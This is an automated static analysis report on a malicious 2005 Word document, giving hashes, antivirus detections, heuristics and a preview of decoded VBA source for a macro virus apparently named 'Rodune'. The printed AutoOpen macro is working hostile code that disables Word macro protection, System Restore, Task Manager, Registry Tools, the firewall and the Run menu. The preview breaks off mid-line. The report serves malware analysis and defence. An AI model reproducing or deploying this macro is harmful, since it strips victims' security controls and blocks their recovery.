Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8bc6cc16f419e83…

MALICIOUS

Office (OLE)

38.5 KB Created: 2005-09-16 21:37:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: e3e2a2644c93339403481dfae7f6776e SHA-1: 951935fe3c851c1d7768141fc602705ed4e89e96 SHA-256: f8bc6cc16f419e839543ca0d763b7d3f0fcd2a10b805bc6b3845c2b99df83efa
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document opening or closing. The script attempts to disable security features like Task Manager and Registry Tools, and modifies system restore settings, indicating an intent to hinder remediation and establish persistence. The presence of 'Win.Trojan.Pivis-2' and 'Win.Trojan.C-286' detections further supports its malicious nature.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8386 bytes
SHA-256: 6a6fddff65202dd066ce93f0381274a05591b045e29b1d8b73de54ea3a8299c5
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Rodune"
'Macro virus name: Rodune
'========================
'Year 2005
'========================


Private Declare Function SHAddToRecentDocs Lib "Shell32.dll" (ByVal uFlags As Long, ByVal lpszPath As String) As Long
Private Const SHARD_PATH = &H2
Dim Path As String
'Add a File to the Documents Menu in the Start Button of the Windows Taskbar

Sub AutoOpen()
On Error Resume Next

With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
   End With

MsgBox "Computer with problems!", vbOKOnly + vbExclamation + vbSystemModal, "Attention!"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Active", "Rodune") = " Virus_saved"

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\windows NT\CurrentVersion\systemrestore", "DisableSR") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\systemrestore", "DisableSR") = "1"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools") = "1"

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\WindowsFirewall\StandardProfile", "EnableFirewall") = "0"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\WindowsFirewall", "DomainProfile") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsFirewall\DomainProfile", "EnableFirewall") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsFirewall\StandardProfile", "EnableFirewall") = "0"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoRun") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "DisallowRun") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFind") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoCloseKey") = "1"

 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Scrollbar", "0 255 0", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Background", "0 255 0", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "ActiveTitle", "89 151 100", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "InactiveTitle", "128 128 0", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Menu", "0 255 0", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Window", "0 255 0", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "WindowFrame", "0 0 0", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "MenuText", "0 0 0", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "TitleText", "255 255 255", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "ActiveBorder", "162 200 169", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "InactiveBorder", "162 200 169", ""
 WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "AppWorkspace", "150 192 157", ""
 WordBasic.SetP
... (truncated)

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